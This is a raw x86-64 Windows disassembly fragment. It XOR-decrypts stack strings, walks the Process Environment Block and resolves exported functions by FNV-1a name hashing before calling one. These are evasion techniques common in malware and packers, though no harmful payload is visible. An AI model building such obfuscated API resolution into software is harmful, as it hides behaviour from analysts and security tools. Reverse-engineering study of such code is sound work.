mov qword [rbp + 0xfa8], rax
movabs rax, 0xe69448f09e258da7
mov qword [rbp + 0xfb0], rax
movabs rax, 0xbd5baf51cf91e570
mov qword [rbp + 0xfb8], rax
movabs rax, 0xacf30ea2aa637441
mov qword [rbp + 0xfc0], rax
movabs rax, 0xf1f82eeb88442f7a
mov qword [rbp + 0xfc8], rax
movabs rax, 0x977bae046e320c7b
mov qword [rbp + 0xfd0], rax
movabs rcx, 0x4a4365050977f614
mov qword [rbp + 0xfd8], rcx
movabs rax, 0x428da546cfabead5
mov qword [rbp + 0xfe0], rax
movabs rdx, 0x907145ef8629cade
mov qword [rbp + 0xfe8], rdx
movabs rax, 0xea82ded89540f8ef
mov qword [rbp + 0xff0], rax
movabs rax, 0x833038d92f5effd8
mov qword [rbp + 0xff8], rax
movabs rax, 0x11d0bfca36204a29
mov qword [rbp + 0x1000], rax
movabs rax, 0x79dcc8331c2473c2
mov qword [rbp + 0x1008], rax
movabs rax, 0x96ef472cbc0a4d23
mov qword [rbp + 0x1010], rax
movabs rax, 0xd156610d71cd373c
mov qword [rbp + 0x1018], rax
movabs rax, 0xad2967aebdf1d57d
mov qword [rbp + 0x1020], rax
movabs rax, 0xbeb3ed7727489b26
mov qword [rbp + 0x1028], rax
movabs rax, 0x498ab6a047c56bb7
mov qword [rbp + 0x1030], rax
movabs rax, 0xc3466e01c326e180
mov qword [rbp + 0x1038], rax
movabs rax, 0xddd9c9d205ec7351
mov qword [rbp + 0x1040], rax
movabs rax, 0x1798b19b46677f0a
mov qword [rbp + 0x1048], rax
movabs rax, 0x1091a434ae6f930b
mov qword [rbp + 0x1050], rax
movabs rax, 0x3d584835a4cefda4
mov qword [rbp + 0x1058], rax
movabs rax, 0xf4d48276768d0ae5
mov qword [rbp + 0x1060], rax
movabs rax, 0x66c1591f1ef7256e
mov qword [rbp + 0x1068], rax
movabs rax, 0xa49549087424f67f
mov qword [rbp + 0x1070], rax
movabs rax, 0x891af789b44fa5e8
mov qword [rbp + 0x1078], rax
movabs rax, 0xf3198c7ae05434b9
mov qword [rbp + 0x1080], rax
movabs rax, 0x2c23a5631725e852
mov qword [rbp + 0x1088], rax
movabs rax, 0x4a7358dc3b704933
mov qword [rbp + 0x1090], rax
movabs rax, 0xd87e543d6278904c
mov qword [rbp + 0x1098], rax
movabs rax, 0x3ace52de44c5300d
mov qword [rbp + 0x10a0], rax
movabs rcx, 0x754e3ca75cfe32b6
mov qword [rbp + 0x10a8], rcx
mov qword [rbp + 0x880], r8
mov qword [rbp + 0x888], r9
mov qword [rbp + 0x890], r10
mov qword [rbp + 0x898], r11
mov qword [rbp + 0x8a0], rdi
mov qword [rbp + 0x8a8], rsi
mov qword [rbp + 0x8b0], r14
mov qword [rbp + 0x8b8], r15
mov qword [rbp + 0x8c0], r12
mov qword [rbp + 0x8c8], r13
movabs rax, 0xcae6b3de0972c59f
mov qword [rbp + 0x8d0], rax
movabs rax, 0xc190ebab0aa53fe4
mov qword [rbp + 0x8d8], rax
movabs rax, 0x8fb42d83ff40e1f7
mov qword [rbp + 0x8e0], rax
movabs rax, 0xdc7bc33daee5961e
mov qword [rbp + 0x8e8], rax
movabs rax, 0xc38061d0c90a3961
mov qword [rbp + 0x8f0], rax
movabs rax, 0x838c5d82ec645b1c
mov qword [rbp + 0x8f8], rax
movabs rax, 0xe15bca611a476e12
mov qword [rbp + 0x900], rax
movabs rax, 0x2b630b6a60048471
mov qword [rbp + 0x908], rax
movabs rax, 0x23addc34bb8b8ebb
mov qword [rbp + 0x910], rax
movabs rax, 0x9d7b4fc1e840abb9
mov qword [rbp + 0x918], rax
movabs rax, 0xd0c59091db12b9b8
mov qword [rbp + 0x920], rax
movabs rax, 0xf05918aa4636abf8
mov qword [rbp + 0x928], rax
movabs rax, 0x31a2dab943002b09
mov qword [rbp + 0x930], rax
movabs rax, 0xefce456695700ab
mov qword [rbp + 0x938], rax
movabs rax, 0xe5cf1e60f2456d46
mov qword [rbp + 0x940], rax
movabs rax, 0x9e76157f1ebd4749
mov qword [rbp + 0x948], rax
movabs rax, 0x8d6526e7feb8933b
mov qword [rbp + 0x950], rax
movabs rax, 0xdfdf8116533bf54f
mov qword [rbp + 0x958], rax
movabs rax, 0x2fe596d329aa02c3
mov qword [rbp + 0x960], rax
movabs rax, 0xac350173a04faca0
mov qword [rbp + 0x968], rax
movabs rax, 0xb2bda7bb52cc0737
mov qword [rbp + 0x970], rax
movabs rax, 0x59b8fedf664b0c7d
mov qword [rbp + 0x978], rax
movabs rax, 0x64f0c146cd4fc744
mov qword [rbp + 0x980], rax
movabs rax, 0x4f373845d1bdddc1
mov qword [rbp + 0x988], rax
movabs rax, 0x80b1e9151ff92a91
mov qword [rbp + 0x990], rax
movabs rax, 0x3a92d3f6d96051d
mov qword [rbp + 0x998], rax
movabs rax, 0xcbfc3d7d184b855f
mov qword [rbp + 0x9a0], rax
movabs rax, 0xe57bd7fad5278586
mov qword [rbp + 0x9a8], rax
movabs rax, 0x967bac03843551cb
mov qword [rbp + 0x9b0], rax
movabs rax, 0x4d4fd51b72058637
mov qword [rbp + 0x9b8], rax
movabs rax, 0x6a1d31fc5f15275a
mov qword [rbp + 0x9c0], rax
movabs rax, 0xab1b391d1111f838
mov qword [rbp + 0x9c8], rax
movabs rax, 0x3ace52f021a2517e
mov qword [rbp + 0x9d0], rax
mov qword [rbp + 0x9d8], rcx
movdqa xmm0, xmmword [rbp + 0x880]
pxor xmm0, xmmword [rbp + 0xf50]
movdqa xmmword [rbp + 0x880], xmm0
movdqa xmm1, xmmword [rbp + 0x890]
pxor xmm1, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0x890], xmm1
movdqa xmm0, xmmword [rbp + 0x8a0]
pxor xmm0, xmmword [rbp + 0xf70]
movdqa xmmword [rbp + 0x8a0], xmm0
movdqa xmm1, xmmword [rbp + 0x8b0]
pxor xmm1, xmmword [rbp + 0xf80]
movdqa xmmword [rbp + 0x8b0], xmm1
movdqa xmm0, xmmword [rbp + 0x8c0]
pxor xmm0, xmmword [rbp + 0xf90]
movdqa xmmword [rbp + 0x8c0], xmm0
movdqa xmm1, xmmword [rbp + 0x8d0]
pxor xmm1, xmmword [rbp + 0xfa0]
movdqa xmmword [rbp + 0x8d0], xmm1
movdqa xmm0, xmmword [rbp + 0x8e0]
pxor xmm0, xmmword [rbp + 0xfb0]
movdqa xmmword [rbp + 0x8e0], xmm0
movdqa xmm1, xmmword [rbp + 0x8f0]
pxor xmm1, xmmword [rbp + 0xfc0]
movdqa xmmword [rbp + 0x8f0], xmm1
movdqa xmm0, xmmword [rbp + 0x900]
pxor xmm0, xmmword [rbp + 0xfd0]
movdqa xmmword [rbp + 0x900], xmm0
movdqa xmm1, xmmword [rbp + 0x910]
pxor xmm1, xmmword [rbp + 0xfe0]
movdqa xmmword [rbp + 0x910], xmm1
movdqa xmm0, xmmword [rbp + 0x920]
pxor xmm0, xmmword [rbp + 0xff0]
movdqa xmmword [rbp + 0x920], xmm0
movdqa xmm1, xmmword [rbp + 0x930]
pxor xmm1, xmmword [rbp + 0x1000]
movdqa xmmword [rbp + 0x930], xmm1
movdqa xmm0, xmmword [rbp + 0x940]
pxor xmm0, xmmword [rbp + 0x1010]
movdqa xmmword [rbp + 0x940], xmm0
movdqa xmm1, xmmword [rbp + 0x950]
pxor xmm1, xmmword [rbp + 0x1020]
movdqa xmmword [rbp + 0x950], xmm1
movdqa xmm0, xmmword [rbp + 0x1030]
pxor xmm0, xmmword [rbp + 0x960]
movdqa xmmword [rbp + 0x960], xmm0
movdqa xmm1, xmmword [rbp + 0x1040]
pxor xmm1, xmmword [rbp + 0x970]
movdqa xmmword [rbp + 0x970], xmm1
movdqa xmm0, xmmword [rbp + 0x1050]
pxor xmm0, xmmword [rbp + 0x980]
movdqa xmmword [rbp + 0x980], xmm0
movdqa xmm1, xmmword [rbp + 0x1060]
pxor xmm1, xmmword [rbp + 0x990]
movdqa xmmword [rbp + 0x990], xmm1
movdqa xmm0, xmmword [rbp + 0x1070]
pxor xmm0, xmmword [rbp + 0x9a0]
movdqa xmmword [rbp + 0x9a0], xmm0
movdqa xmm1, xmmword [rbp + 0x1080]
pxor xmm1, xmmword [rbp + 0x9b0]
movdqa xmmword [rbp + 0x9b0], xmm1
movdqa xmm0, xmmword [rbp + 0x1090]
pxor xmm0, xmmword [rbp + 0x9c0]
movdqa xmmword [rbp + 0x9c0], xmm0
movdqa xmm1, xmmword [rbp + 0x10a0]
pxor xmm1, xmmword [rbp + 0x9d0]
movdqa xmmword [rbp + 0x9d0], xmm1
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0x880]
jmp 0x140046f7b
mov ecx, dword [r15 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
cmp rbx, r15
jbe 0x140046a71
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140046a71
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140046a24
nop dword [rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140046a00
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140046a56
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140046a30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140040ee1
xor ebx, ebx
movabs rax, 0xba38d454249fea6b
mov qword [rbp + 0x1330], rax
movabs rdx, 0xcfc1cc55b526d184
mov qword [rbp + 0x1338], rdx
movabs rax, 0x971880046dcda138
mov qword [rbp + 0x150], rax
movabs rax, 0xcfc1be3ac75494a4
mov qword [rbp + 0x158], rax
movdqa xmm0, xmmword [rbp + 0x150]
pxor xmm0, xmmword [rbp + 0x1330]
movdqa xmmword [rbp + 0x150], xmm0
movabs rcx, 0xcd18b03148f68b2d
movabs rdi, 0x74ee46669c98029c
movabs rsi, 0xb5b645dbc198d95a
movabs r8, 0xbbe1ab3bdc52b8f6
movabs r9, 0x6f64a0e54b0cf22a
movabs r10, 0xee1a588f1679537e
movabs r11, 0x1dc4278891e6056c
movabs rax, 0xba38d454249fea6b
movabs r14, 0x186e0d451fcc3bfc
movabs r15, 0xeeed9319167c30d7
movabs r12, 0xe0b63ab3301d9d4d
movabs r13, 0xd1edf09b0064c59e
mov qword [rbp + 0xc70], rax
mov qword [rbp + 0xc78], rdx
movabs rax, 0x654acb962268d245
mov qword [rbp + 0xc80], rax
movabs rax, 0xde2a68bf263a2b4e
mov qword [rbp + 0xc88], rax
movabs rax, 0x5c9074a8bcc6315f
mov qword [rbp + 0xc90], rax
movabs rax, 0x31a40429c3cb57c8
mov qword [rbp + 0xc98], rax
movabs rdx, 0xeaf3089a8fc78d19
mov qword [rbp + 0xca0], rdx
movabs rax, 0x563b4203409874b2
mov qword [rbp + 0xca8], rax
movabs rax, 0xce88e17c7e283a93
mov qword [rbp + 0xcb0], rax
movabs rax, 0x959655dd1078ef2c
mov qword [rbp + 0xcb8], rax
movabs rax, 0xb889d0fe6c06a4ed
mov qword [rbp + 0xcc0], rax
movabs rax, 0xe1be92c77ec65a96
mov qword [rbp + 0xcc8], rax
movabs rax, 0xe69448f09e258da7
mov qword [rbp + 0xcd0], rax
movabs rax, 0xbd5baf51cf91e570
mov qword [rbp + 0xcd8], rax
mov qword [rbp + 0x5a0], rcx
mov qword [rbp + 0x5a8], r8
mov qword [rbp + 0x5b0], r9
mov qword [rbp + 0x5b8], r10
mov qword [rbp + 0x5c0], r11
mov qword [rbp + 0x5c8], rdi
mov qword [rbp + 0x5d0], rsi
mov qword [rbp + 0x5d8], r14
mov qword [rbp + 0x5e0], r15
mov qword [rbp + 0x5e8], r12
mov qword [rbp + 0x5f0], r13
movabs rax, 0x959efca85eb531e5
mov qword [rbp + 0x5f8], rax
movabs rax, 0x83e03b89ed05e8cf
mov qword [rbp + 0x600], rax
movabs rax, 0xbd5baf51cf91cb1d
mov qword [rbp + 0x608], rax
movdqa xmm0, xmmword [rbp + 0x5a0]
pxor xmm0, xmmword [rbp + 0xc70]
movdqa xmmword [rbp + 0x5a0], xmm0
movdqa xmm1, xmmword [rbp + 0x5b0]
pxor xmm1, xmmword [rbp + 0xc80]
movdqa xmmword [rbp + 0x5b0], xmm1
movdqa xmm0, xmmword [rbp + 0x5c0]
pxor xmm0, xmmword [rbp + 0xc90]
movdqa xmmword [rbp + 0x5c0], xmm0
movdqa xmm1, xmmword [rbp + 0x5d0]
pxor xmm1, xmmword [rbp + 0xca0]
movdqa xmmword [rbp + 0x5d0], xmm1
movdqa xmm0, xmmword [rbp + 0x5e0]
pxor xmm0, xmmword [rbp + 0xcb0]
movdqa xmmword [rbp + 0x5e0], xmm0
movdqa xmm1, xmmword [rbp + 0x5f0]
pxor xmm1, xmmword [rbp + 0xcc0]
movdqa xmmword [rbp + 0x5f0], xmm1
movdqa xmm0, xmmword [rbp + 0x600]
pxor xmm0, xmmword [rbp + 0xcd0]
movdqa xmmword [rbp + 0x600], xmm0
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x5a0]
jmp 0x140046f7b
mov ecx, dword [r14 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [r14 + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
cmp rbx, r14
jbe 0x140046e11
lea rax, [r14 + r13]
cmp rbx, rax
jae 0x140046e11
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140046dc4
nop dword [rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140046da0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140046df6
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140046dd0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140040220
xor ebx, ebx
movabs rdi, 0xba38d454249fea6b
mov qword [rbp + 0x1340], rdi
movabs r11, 0xcfc1cc55b526d184
mov qword [rbp + 0x1348], r11
movabs rax, 0x971880046dcda138
mov qword [rbp + 0xd0], rax
movabs rax, 0xcfc1be3ac75494a4
mov qword [rbp + 0xd8], rax
movdqa xmm0, xmmword [rbp + 0xd0]
pxor xmm0, xmmword [rbp + 0x1340]
movdqa xmmword [rbp + 0xd0], xmm0
movabs rax, 0xd318b12745fa863b
movabs rcx, 0x88e1a039d452a2ea
movabs rdx, 0x3ca2e446488715
movabs r8, 0xaa0a0cd1471a583c
movabs r9, 0x32f915cfdde6482d
movabs r10, 0x31a40429c3cb57e6
mov qword [rbp + 0xb20], rdi
mov qword [rbp + 0xb28], r11
movabs r11, 0x654acb962268d245
mov qword [rbp + 0xb30], r11
movabs r11, 0xde2a68bf263a2b4e
mov qword [rbp + 0xb38], r11
movabs r13, 0x5c9074a8bcc6315f
mov qword [rbp + 0xb40], r13
movabs r13, 0x31a40429c3cb57c8
mov qword [rbp + 0xb48], r13
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x458], rcx
mov qword [rbp + 0x460], rdx
mov qword [rbp + 0x468], r8
mov qword [rbp + 0x470], r9
mov qword [rbp + 0x478], r10
movdqa xmm0, xmmword [rbp + 0x450]
pxor xmm0, xmmword [rbp + 0xb20]
movdqa xmmword [rbp + 0x450], xmm0
movdqa xmm1, xmmword [rbp + 0x460]
pxor xmm1, xmmword [rbp + 0xb30]
movdqa xmmword [rbp + 0x460], xmm1
movdqa xmm0, xmmword [rbp + 0x470]
pxor xmm0, xmmword [rbp + 0xb40]
movdqa xmmword [rbp + 0x470], xmm0
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x450]
mov r9d, 0x40010
xor ecx, ecx
call rbx
xor eax, eax
movaps xmm6, xmmword [rsp + 0x3ac0]
add rsp, 0x3ad8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14008680c
nop
call fcn.14008680c
int3